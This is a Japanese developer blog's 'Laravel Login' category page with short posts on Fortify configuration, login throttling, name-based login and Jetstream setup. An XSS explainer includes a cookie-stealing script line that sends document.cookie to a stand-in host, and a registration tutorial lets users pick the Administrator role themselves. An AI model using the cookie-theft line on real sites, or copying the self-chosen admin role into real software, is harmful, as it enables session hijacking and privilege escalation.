Skip to content

ソフトウェアエンジニアの技術ブログ:Software engineer tech blog

随机应变 ABCD: Always Be Coding and … : хороший

ソフトウェアエンジニアの技術ブログ:Software engineer tech blog

Category: Laravel Login

[Laravel8.46.0] registerを無効化

以前は、Auth::routes([‘register’ => false]);で無効化できていたらしいが、8系はfortify.phpを修正する。

config/fortify.php

'features' => [
        // Features::registration(),
        Features::resetPasswords(),
        // Features::emailVerification(),
        Features::updateProfileInformation(),
        Features::updatePasswords(),
        Features::twoFactorAuthentication([
            'confirmPassword' => true,
        ]),
    ],

なるほどー 割と簡単だにゃー

Author blogPosted on 2021年7月24日Categories Laravel Login

[Laravel8.x] 一定の条件の場合はログインできないようにする

バリデーションでできるのかもしれませんが、単にAuth::logout()として、ログイン画面に飛ばせば良いですね。

$user = Auth::user();
        if($user->name == "hpscript"){
            Auth::logout();
            return redirect('/login')->withErrors(array('name' => 'ログインできません。'));
        }

なかなか奥が深い。

Author blogPosted on 2020年12月31日Categories Laravel Login, Laravel Validation

[Laravel8.16.0] 8系Jetstreamの一定回数以上ログイン試行に失敗した時のロック

Laravel8系の場合、LoginControllerが無くなり、fortifyになった。
それに伴い、以前まであった、一定時間内に規定の回数以上ログインに失敗した時にかかるロックが無効化されている。

### 仕組み
config/fortify.php

    'limiters' => [
        'login' => null,
    ],

/vendor/laravel/fortify/routes/routes.php

$limiter = config('fortify.limiters.login');

#### Limit
app/Providers/RouteServiceProvider.php
L configureRateLimitingの中に書く。

RateLimiter::for('login', function (Request $request) {
            return new Limit('', 2, 5);
        });

config/fortify.php

    'limiters' => [
        'login' => 'login',
    ],

Limitの使い方
class Limit (View source)

Properties
– mixed|string $key The rate limit signature key.
– int $maxAttempts The maximum number of attempts allowed within the given number of – minutes.
– int $decayMinutes The number of minutes until the rate limit is reset.
– callable $responseCallback The response generator callback.

Limit(”, 2, 5)だと、2回失敗したら、5分間は再ログインできなくなる。
どんくらいが妥当だろうか? 10回失敗したら10分とか?
パスワードの総当たり試行はブルートフォース攻撃というらしい。なるほどね。

Author blogPosted on 2020年12月30日Categories Laravel Login

[Laravel8.16.0] ログイン画面のエラーメッセージのカスタマイズ

ログイン時のエラーメッセージを変更したい。
Whoops! Something went wrong.
These credentials do not match our records.

/resources/lang/en/auth.php

    'failed' => 'These credentials do not match our records.',
    'password' => 'The provided password is incorrect.',
    'throttle' => 'Too many login attempts. Please try again in :seconds seconds.',

これを/resources/lang/ja/にコピーして中身を変える。

「Whoops! Something went wrong.」の箇所を変えたいな。。

Author blogPosted on 2020年12月28日Categories Laravel Login

[Laravel8.16.0] Sanctumを理解する

公式説明: https://readouble.com/laravel/8.x/ja/sanctum.html

https://laravel.com/docs/8.x/authentication

At its core, Laravel's authentication facilities are made up of "guards" and "providers". Guards define how users are authenticated for each request. For example, Laravel ships with a session guard which maintains state using session storage and cookies.

Providers define how users are retrieved from your persistent storage. Laravel ships with support for retrieving users using Eloquent and the database query builder. However, you are free to define additional providers as needed for your application.

うーん、ちょっとよくわからんな。
vendor/laravel/framework/src/illuminate/Auth で処理してるのはわかるんだが、どこにイベントを追加すれば良いのか。。。

Author blogPosted on 2020年12月16日Categories Laravel Login

[Laravel8.15.0]name+passwordでemailをnullableでログイン機能を実装する方法

$ php -v
PHP 7.4.11 (cli) (built: Oct 21 2020 19:12:26) ( NTS )

### プロジェクト作成
$ composer create-project –prefer-dist laravel/laravel nonemail
$ cd nonemail
$ composer require laravel/jetstream
$ php artisan jetstream:install livewire
mysql> create database nonemail;
.env

DB_DATABASE=nonemail

$ php artisan migrate
$ npm install && npm run dev

### nameでログインできるようにする
config/fortify.php

'username' => 'name',

resources/views/auth/login.blade.php

            <div>
                <x-jet-label for="name" value="{{ __('Name') }}" />
                <x-jet-input id="name" class="block mt-1 w-full" type="name" name="name" :value="old('name')" required autofocus />
            </div>

$ php artisan serve –host 192.168.33.10 –port 8000
// 動作確認
//  L registerしてログアウト後、nameでログインできるか確認

$ php artisan make:migration change_users_table_column_email_nullable –table=users
2020_11_20_024033_change_users_table_column_email_nullable.php

public function up()
    {
        Schema::table('users', function (Blueprint $table) {
            //
            $table->dropUnique('users_email_unique');
            $table->string('name')->unique()->change();
            $table->string('email')->nullable()->change();
        });
    }

$ composer require doctrine/dbal
$ php artisan migrate

mysql> describe users;
+—————————+—————–+——+—–+———+—————-+
| Field | Type | Null | Key | Default | Extra |
+—————————+—————–+——+—–+———+—————-+
| id | bigint unsigned | NO | PRI | NULL | auto_increment |
| name | varchar(255) | NO | UNI | NULL | |
| email | varchar(255) | YES | | NULL | |
| email_verified_at | timestamp | YES | | NULL | |
| password | varchar(255) | NO | | NULL | |
| two_factor_secret | text | YES | | NULL | |
| two_factor_recovery_codes | text | YES | | NULL | |
| remember_token | varchar(100) | YES | | NULL | |
| current_team_id | bigint unsigned | YES | | NULL | |
| profile_photo_path | text | YES | | NULL | |
| created_at | timestamp | YES | | NULL | |
| updated_at | timestamp | YES | | NULL | |
+—————————+—————–+——+—–+———+—————-+
12 rows in set (0.00 sec)

app/Actions/Fortify/CreateNewUser.php
L nameを’required’, ‘unique:users’にする
L emailから’required’を削除し、’nullable’を追加

    public function create(array $input)
    {
        Validator::make($input, [
            'name' => ['required', 'string', 'max:255', 'unique:users'],
            'email' => ['nullable', 'string', 'email', 'max:255'],
            'password' => $this->passwordRules(),
        ])->validate();

        return User::create([
            'name' => $input['name'],
            'email' => $input['email'],
            'password' => Hash::make($input['password']),
        ]);
    }

### tinkerで入れる場合
php artisan tinker
$user = new App\Models\User();
$user->password = Hash::make(‘password’);
$user->name = ‘yamada’;
$user->save();

### sql文で入れる場合
passwordをhash化する

$hashedpassword = password_hash('fugagua', PASSWORD_DEFAULT);

hash化したパスワードをインサート
INSERT INTO users (name, password, created_at, updated_at) VALUES (“ito”, “$2y$10$1Wix04F*********”, “2020-11-20 03:23:47”, “2020-11-20 03:23:47”);

以下のようにhash化せずにinsertするとログインできないので注意
INSERT INTO users (name, password, created_at, updated_at) VALUES (“ito”, “fugafuga”, “2020-11-20 03:23:47”, “2020-11-20 03:23:47”);

なるほど、8系はLoginControllerがなくなってるから焦ったわ。

Author blogPosted on 2020年11月20日2020年11月20日Categories Laravel Login

[Laravel8.12.3] jetstreamでログイン項目をEmailからnameに変更する手順

$ composer require laravel/jetstream
$ php artisan jetstream:install livewire

jetstreamではLoginControllerは作成されない

config/fortify.php
->’username’ => ’email’を’name’に変更する。

    'username' => 'name',

    'email' => 'email',

resources/views/auth/login.blade.php
-> view側のtypeがemailになっているので、nameに変更。

<!-- <div>
                <x-jet-label for="email" value="{{ __('Email') }}" />
                <x-jet-input id="email" class="block mt-1 w-full" type="email" name="email" :value="old('email')" required autofocus />
            </div> -->

            <div>
                <x-jet-label for="name" value="{{ __('Name') }}" />
                <x-jet-input id="name" class="block mt-1 w-full" type="name" name="name" :value="old('name')" required autofocus />
            </div>

nameでログイン

ログインできました。

色々調べてわからんから、Auth/LoginController.phpとか作ってたけど、意味なかった orz…
取り敢えず、これで関門はクリアーしたから、さー設計書作るかー
疲れたから甘いもの食べたい

Author blogPosted on 2020年11月10日Categories Laravel, Laravel Login

[Laravel8.12.3] jetstreamでログイン画面を生成

$ php artisan –version
Laravel Framework 8.12.3
$ php -v
PHP 7.4.11 (cli) (built: Oct 21 2020 19:12:26) ( NTS )

// まずサーバ起動
$ php artisan serve –host 192.168.33.10 –port 8000

### jetstream install
$ php composer.phar require laravel/jetstream
$ sudo mv composer.phar /usr/local/bin/composer
$ php artisan jetstream:install livewire
$ php artisan migrate
mysql> use test;
mysql> show tables;
+—————–+
| Tables_in_test |
+—————–+
| failed_jobs |
| migrations |
| password_resets |
| sessions |
| users |
+—————–+
5 rows in set (0.00 sec)

mysql> describe users;
+—————————+—————–+——+—–+———+—————-+
| Field | Type | Null | Key | Default | Extra |
+—————————+—————–+——+—–+———+—————-+
| id | bigint unsigned | NO | PRI | NULL | auto_increment |
| name | varchar(255) | NO | | NULL | |
| email | varchar(255) | NO | UNI | NULL | |
| email_verified_at | timestamp | YES | | NULL | |
| password | varchar(255) | NO | | NULL | |
| two_factor_secret | text | YES | | NULL | |
| two_factor_recovery_codes | text | YES | | NULL | |
| remember_token | varchar(100) | YES | | NULL | |
| current_team_id | bigint unsigned | YES | | NULL | |
| profile_photo_path | text | YES | | NULL | |
| created_at | timestamp | YES | | NULL | |
| updated_at | timestamp | YES | | NULL | |
+—————————+—————–+——+—–+———+—————-+
12 rows in set (0.02 sec)

$ sudo npm install -g n
$ sudo n stable
$ node -v
v14.15.0
$ npm run dev

$ php artisan serve –host 192.168.33.10 –port 8000
http://192.168.33.10:8000/login

http://192.168.33.10:8000/register

OK!

Author blogPosted on 2020年11月4日Categories Laravel Login

Laravel 6.xのXSS対策とlaravel_session

# XSSとは
-入力フォームに、jsコードやhtmlタグを入力する攻撃
-例:input formにscriptタグ挿入

<script> window.alert('アラートメッセージ'); </script>

## XSS 具体例
### セッションハイジャック
Cookieにhttponly属性がついていない場合、jsのdocument.cookieを読み取ることで、Cookieに含まれているセッション情報を盗み見ることが可能
– 具体的には、不正なサイトに誘導され、セッションIDを不正表示させて、セッション情報を盗み取る

document.location="http://hoge/cookie.cgi?cookie="+document.cookie"

※JavaScriptで保存する方法では、CookieはそのJavaScriptが実行されるページのドメインと関連付けられる
– セッションIDが固定の場合も、盗み取られるリスクが高くなる

## サニタイジング(エスケープ方法)
### PHP
htmlspecialchars関数でサニタイジングを行う

$data = htmlspecialchars($str, ENT_QUOTES, 'utf-8');

### Laravel
viewで{{}}で囲うと、自動的にhtmlentites関数をかけて出力する

## セッションクッキーの有効期限
### Laravelのセッションクッキーの有効期限
config/session.php
デフォルトでは120分で設定されている。セッション無期限の場合はリスクが高まる

'lifetime' => env('SESSION_LIFETIME', 120),

## session IDとは
ブラウザ側ではCookieでsession IDを保存する
セッションを一意に識別するための情報
cookieの値は、.envのAPP_KEYを用いて復号化される
.envでSESSION_DRIVERはcookieと設定されている

SESSION_DRIVER=cookie

### laravel_sessionの値
session情報はユーザログインする毎にIDが更新される
### XSRF_TOKEN
CSRF(クロスサイトリクエストフォージェリ)対策に使用するためのTOKENデータ

### cookieのsessionデータを取得

$data = $request->session()->all();
        dd($data);
array:5 [▼
  "_token" => "WZjodO3c6IVXifN9uK9iFgalJHvDn******"
  "_flash" => array:2 [▶]
  "url" => []
  "_previous" => array:1 [▼
    "url" => "http://192.168.33.10:8000/admin"
  ]
  "login_web_59ba36addc2b2f9401580f014c7*******" => 2
]

sessionに保存されているユーザidのkeyは’id’ではなく、”login_web_****”となっているのがわかる。
その為、$request->session()->get(‘id’);では、idは取得できない。

Illuminate\Session\Store.php

public function __construct($name, SessionHandlerInterface $handler, $id = null)
    {
        $this->setId($id);
        $this->name = $name;
        $this->handler = $handler;
    }
// 省略
public function migrate($destroy = false)
    {
        if ($destroy) {
            $this->handler->destroy($this->getId());
        }

        $this->setExists(false);

        $this->setId($this->generateSessionId());

        return true;
    }
// 省略
public function setId($id)
    {
        $this->id = $this->isValidId($id) ? $id : $this->generateSessionId();
    }

sessionのstore.phpを見ると、$idからsessionIdをsetしていることがわかる。
login_web_*のvalueから認証しているように見えるが、laravelの公式ドキュメントを見ても、laravel_sessionのロジックは一切書いてないな(笑)

Author blogPosted on 2020年3月2日2020年3月2日Categories Laravel Login, Laravel Security

Laravel 6.x authのユーザ登録(/register)をカスタマイズ

– authのユーザ登録(/register)の項目をカスタマイズする
–> デフォルトのカラムに対し、usersテーブルにrole_id(admin/subscriber)が追加されており、authのユーザ登録(/register)でも、role_idのradioボタンを追加して登録できるようにしたい

### usersテーブル

Schema::create('users', function (Blueprint $table) {
            $table->bigIncrements('id');
            $table->integer('role_id')->nullable();
            $table->string('name');
            $table->string('email')->unique();
            $table->timestamp('email_verified_at')->nullable();
            $table->string('password');
            $table->rememberToken();
            $table->timestamps();
        });

### register.blade.php

/resources/views/auth/register.blade.php

<div class="card-body">
    <form method="POST" action="{{ route('register') }}">
       @csrf
    // 省略
<div class="col-md-6">
        <div class="form-inline">
            <div class="form-check">
                <input id="role_id" type="radio" class="form-control mr-1 @error('role_id') is-invalid @enderror" name="role_id" value="1" required autocomplete="off" checked>
                <label class="form-check-label mr-3" type="radio">Administrator</label>
            </div>
            
            <div class="form-check">
                <input id="role_id" type="radio" class="form-control mr-1 @error('role_id') is-invalid @enderror" name="role_id" value="2" required autocomplete="off">
                <label class="form-check-label mr-3" type="radio">Subscriber</label>
            </div>
        </div>

        @error('role_id')
            <span class="invalid-feedback" role="alert">
                <strong>{{ $message }}</strong>
            </span>
        @enderror
    </div>
</div>
    // 省略
    </form>
</div>

### RegisterController.php
app/Http/Controllers/Auth/RegisterController.php

protected function validator(array $data)
    {
        return Validator::make($data, [
            'name' => ['required', 'string', 'max:255'],
            'role_id' => ['required'],
            'email' => ['required', 'string', 'email', 'max:255', 'unique:users'],
            'password' => ['required', 'string', 'min:8', 'confirmed'],
        ]);
    }

    /**
     * Create a new user instance after a valid registration.
     *
     * @param  array  $data
     * @return \App\User
     */
    protected function create(array $data)
    {
        return User::create([
            'name' => $data['name'],
            'role_id' => $data['role_id'],
            'email' => $data['email'],
            'password' => Hash::make($data['password']),
        ]);
    }

### User.php

protected $fillable = [
        'name', 'email', 'role_id', 'password',
    ];

mysql> select * from users;

$dataとしてPOSTされたデータをcreateしている。
よく編集されるページなのか、RegisterController.phpは非常に分かりやすい構造になっています。

Author blogPosted on 2020年2月24日Categories Laravel Login

Posts navigation

Page 1 Page 2 Page 3 Next page

Popular Post [Top 10🔥]

  • Pythonで今月、前月、来月、昨年、毎月あたりを取得する
  • [Laravel8.16.0] 電話と郵便番号のカスタムバリデーション作成
  • phpで予約システムを作くろう2 予約画面
  • [Laravel8.16.0] class内でメンバ変数(共通の変数)を使いたい
  • Laravel フォーム・確認画面の「戻る」ボタンの処理実装
  • Laravel5.7 403エラー forbiddenが出た時
  • Android Studioでのapkファイルの開き方
  • phpmailerで複数アドレス(配列)にBCCで送信
  • bootstrap5でPC版ヘッダーメニューを右寄せにする
  • PROPFINDメソッド

Recent Posts 🐎

  • C++のメモリの扱い
  • C言語のメモリの扱い
  • ipfsの利用
  • ubuntuにipfsのインストール
  • 【Rust】getblockのCLIコマンド機能を作る

Author 🤩

hpscript
Rust, C++, C, Python Go PHP Javascript Java Swift Flutter

Contact form

スクラッチの受託開発を行なっております🖥 ヒヤリング->設計->デザイン ->実装->インフラ構築->運用まで!ブロックチェーン開発します!
・contact

Categories

  • Ada
  • Ajax
  • Algebra
  • Algorithm
  • Amazon SES
  • Android / Java / SQLite
  • Android Layout Design
  • AngularJS
  • ansible
  • apache
  • API
  • app
  • app register
  • AR
  • Arduino
  • Artificial Intelligence
  • assembler
  • audio
  • Auth
  • awk / sed
  • AWS
  • AWS ACM
  • AWS AMI
  • AWS Athena
  • AWS AutoScaling
  • AWS CLI
  • AWS CloudFormation
  • AWS CloudFront
  • AWS CloudWatch
  • AWS CodeDeploy
  • AWS Direct Connect
  • AWS EBS
  • AWS EC2
  • AWS ECS
  • AWS EFS
  • AWS ElastiCache
  • AWS ELB
  • AWS Glacier
  • AWS IAM
  • AWS Kinesis Video Streams
  • AWS lambda, Cloud Front, EFS, EBS
  • AWS RDS
  • AWS Route53
  • AWS S3
  • AWS SNS
  • AWS VPC
  • azure
  • babel
  • backbone.js
  • bash
  • basic
  • batch
  • Bitcoin
  • Blockchain
  • bootstrap
  • Business
  • C
  • C OperatingSystem
  • C#
  • C++
  • CakePHP
  • Canvas
  • Capistrano
  • Carbon
  • Character code
  • Chef
  • CircleCI
  • COBOL
  • CoffeeScript
  • Compiler
  • ComputerVision
  • ComputerVision Biometrics
  • ComputerVision CharacterRecognition
  • ComputerVision Face Detection
  • ComputerVision IR-LED
  • ComputerVision OpenCV
  • ComputerVision ProcessingEngine
  • Cookie
  • CPU
  • cryptocurrency
  • cryptography
  • CSS
  • D3.js
  • data science
  • debugging
  • deep learning
  • deploy
  • Design
  • dev.amazon
  • dev.apple
  • dev.backlog
  • dev.ebay
  • dev.finance
  • dev.google
  • dev.meta
  • dev.microsoft
  • dev.NASA
  • dev.PFN
  • dev.slack
  • dev.twitter
  • dev.watson
  • devOps
  • Devops
  • Django
  • Django Auth
  • Django Database
  • Django Form
  • Django Pagination
  • Django Validation
  • Django View
  • DNS
  • Docker / docker-compose
  • Echo
  • elasticsearch
  • Elasticsearch
  • Electron
  • Electronic Circuit
  • Electronic Circuit flip-flop
  • Embulk
  • enchant.js
  • Ethereum
  • Excel VBA
  • express
  • file
  • filmora
  • Flash
  • flask
  • FlexBox
  • Fluentd
  • Flutter
  • font-awesome
  • front-end
  • GCP
  • Git / GitHub / GitHub Enterprise
  • GitLab
  • GL
  • Go
  • GPU
  • gradle
  • GraphQL
  • grunt
  • gulp
  • Hadoop
  • Hash
  • Heroku
  • HHVM/Hack
  • HTML5
  • HTTPS/HTTP
  • illustrator
  • Image
  • iOS layout
  • ip
  • Java
  • Java servlet
  • JavaScript
  • jenkins
  • jQuery
  • jQuery mobile / jQuery UI
  • jsp
  • k-nn
  • Keras
  • Kernel
  • Kibana
  • Kotlin
  • kubernetes
  • kubernetes minikube
  • Laravel
  • Laravel Chat
  • Laravel Controller
  • Laravel Database
  • Laravel Event
  • Laravel Extra Feature
  • Laravel Forms
  • Laravel Homestead
  • Laravel Jetstream
  • Laravel Login
  • Laravel Mail
  • Laravel Middleware
  • Laravel Migration
  • Laravel Model
  • Laravel Multi-tenant
  • Laravel Package
  • Laravel Paging
  • Laravel Public
  • Laravel Route
  • Laravel Security
  • Laravel Seeding
  • Laravel Storage
  • Laravel Testing
  • Laravel Upgrade
  • Laravel Validation
  • Laravel View
  • LESS
  • Linear Regression
  • Linux
  • Localization
  • log
  • Logstash
  • lsync xinetd/rsync
  • Machine Learning
  • Mackerel
  • mail/smtp/pop/imap
  • Math
  • Memory
  • Mining
  • mobile
  • MongoDB
  • Morphological analysis
  • Motherboard
  • MySQL
  • Natural Language
  • NEM/XEM
  • Netty
  • Network
  • Neural Network
  • New Relic
  • NextJS
  • nginx
  • Node.js
  • Objectiv-C
  • Oracle
  • OS
  • other topics
  • Parallel Processing
  • Perl
  • phantomjs
  • Photography
  • Photoshop
  • PHP
  • physics
  • PostgreSQL
  • Probability
  • processing / p5.js
  • Processor
  • psql
  • pug
  • Python
  • Python library
  • quantum computer
  • R
  • RaspberryPi
  • React Native
  • React.js
  • recognition
  • redis
  • Redmine
  • Redux
  • Research & Development
  • Revel
  • Robot
  • Ruby on Rails
  • Rust
  • sales
  • sass / scss / Compass
  • Scala
  • Security
  • Selenium
  • SEO
  • sesssion
  • Setting up an environment – deploy flow
  • Setting up an environment – development process
  • Setting up an environment – Local Environment
  • shell
  • sinatra
  • sketch
  • Socket.IO
  • software design – basic design
  • software design – DFL
  • software design – entity-relationship diagram
  • software design – flowchart diagram
  • software design – infrastructure
  • software design – Internal Design
  • software design – operation flow
  • software design – screen transition diagram
  • software design – sequence diagram
  • software design – UML
  • software design – WF, screen layout
  • software topics
  • Speaker Recognition
  • Speech Recognition
  • Spring
  • SpringBoot
  • SpringBoot Controller
  • SpringBoot CRUD
  • SpringBoot SpringSecurity
  • SpringBoot Thymeleaf
  • SpringBoot Validation
  • sqlite / MySql / psql
  • ssh
  • SSL/TSL
  • stackmachine
  • statistic
  • storage
  • Stripe
  • struts
  • SVG
  • swagger
  • Swift / SwiftUI
  • swift CoreData
  • Tableau
  • Tailwind css
  • team building
  • TensorFlow
  • Terraform
  • Test
  • three.js
  • Tomcat
  • translation
  • Travis CI
  • TypeScript
  • ubuntu
  • UI/UX
  • uncategorized
  • underscore.js
  • Unit Test / Integration Test
  • unity
  • unix
  • uWSGI
  • VBA
  • Video Streaming
  • Vite
  • vm / vagrant / virtualbox
  • vps
  • VR
  • Vue.js
  • Webpack
  • WebRTC
  • Windows
  • xml
  • YAML / mustache
  • zabbix
  • Zend framework

初めてのSESフリーランス推奨エージェント😤

レバテックフリーランス

ギークスジョブ

ビッグツリーテクノロジー&コンサルティング

Archives

  • May 2025
  • April 2025
  • March 2025
  • February 2025
  • January 2025
  • December 2024
  • November 2024
  • October 2024
  • August 2024
  • April 2024
  • March 2024
  • February 2024
  • January 2024
  • December 2023
  • November 2023
  • October 2023
  • September 2023
  • August 2023
  • July 2023
  • June 2023
  • May 2023
  • April 2023
  • March 2023
  • February 2023
  • January 2023
  • December 2022
  • November 2022
  • October 2022
  • September 2022
  • August 2022
  • July 2022
  • June 2022
  • May 2022
  • April 2022
  • March 2022
  • February 2022
  • January 2022
  • December 2021
  • November 2021
  • October 2021
  • September 2021
  • August 2021
  • July 2021
  • June 2021
  • May 2021
  • April 2021
  • March 2021
  • February 2021
  • January 2021
  • December 2020
  • November 2020
  • October 2020
  • September 2020
  • August 2020
  • July 2020
  • June 2020
  • May 2020
  • April 2020
  • March 2020
  • February 2020
  • January 2020
  • December 2019
  • November 2019
  • October 2019
  • September 2019
  • August 2019
  • July 2019
  • June 2019
  • May 2019
  • April 2019
  • March 2019
  • February 2019
  • January 2019
  • December 2018
  • November 2018
  • October 2018
  • September 2018
  • August 2018
  • July 2018
  • June 2018
  • May 2018
  • April 2018
  • March 2018
  • February 2018
  • January 2018
  • December 2017
  • November 2017
  • October 2017
  • September 2017
  • August 2017
  • July 2017
  • June 2017
  • May 2017
  • April 2017
  • March 2017
  • February 2017
  • January 2017
  • December 2016
  • November 2016
  • October 2016
  • September 2016
  • August 2016
  • July 2016
  • June 2016
  • May 2016
  • April 2016
  • March 2016

Links

- CSDN专业开发者社区
- Google AI blog
- torvalds/linux
- Linux Kernel
- apache/httpd

Recommend Books


ソフトウェアエンジニアの技術ブログ:Software engineer tech blog Proudly powered by WordPress
Posting....